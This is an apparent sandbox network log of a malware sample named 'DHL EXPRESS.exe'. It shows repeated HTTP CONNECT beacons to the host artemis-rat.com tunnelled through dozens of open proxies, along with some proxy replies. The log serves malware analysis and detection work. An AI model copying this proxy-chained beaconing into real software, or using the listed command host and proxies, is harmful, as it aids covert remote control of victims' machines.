Mar 11, 2024 18:38:05.581398010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.690854073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.8	54550	185.236.46.221	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.488226891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.8	54570	162.214.121.173	52577	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.574400902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.8	51043	51.79.87.144	18636	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.574707985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.8	54524	103.127.1.130	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.586868048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.8	54619	107.180.90.248	43240	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.587055922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.206506968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.909919977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.394182920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.097318888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909735918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.564595938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.889842987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:20.596957922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.8	54214	185.118.153.110	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.587169886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.768909931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.393703938 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 719 Content-Type: text/html Date: Mon, 11 Mar 2024 17:23:19 GMT Expires: Mon, 11 Mar 2024 17:23:19 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.8	53546	192.111.139.165	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.587259054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.8	54489	102.132.201.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.593455076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.8	54656	162.241.79.22	52048	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.593571901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.268805981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958542109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261627913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769109964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269031048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.769114017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.456840992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.862612009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.8	54563	163.172.144.132	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.593952894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.8	54665	156.232.9.194	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.600260973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.612584114 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.13.7 Date: Mon, 11 Mar 2024 17:37:07 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 37 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.13.7</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.8	54565	203.218.172.225	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.600265980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.8	54603	45.120.178.197	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.602689981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.8	54671	104.18.234.218	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.603104115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.758277893 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.8	54631	47.243.114.192	8180	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.606540918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.910029888 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.8	54641	27.96.235.171	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.619648933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.8	54618	43.155.142.116	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.619714022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.8	54708	172.67.206.105	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.620959044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.775063992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.8	54575	94.45.74.60	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.621243000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.8	54676	35.185.196.38	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.644802094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.911155939 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.8	54593	103.216.49.233	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.656121016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.8	54317	162.241.46.40	56241	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.656528950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269094944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958550930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261658907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769149065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269082069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.769160986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.769059896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.565808058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.8	54658	184.185.2.12	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.659040928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.8	53794	154.12.253.232	12263	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.669172049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769191027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.769371986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.769279003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.862550974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.862596035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.971941948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.987653017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.8	51183	107.180.90.88	20309	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.670521975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769104004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
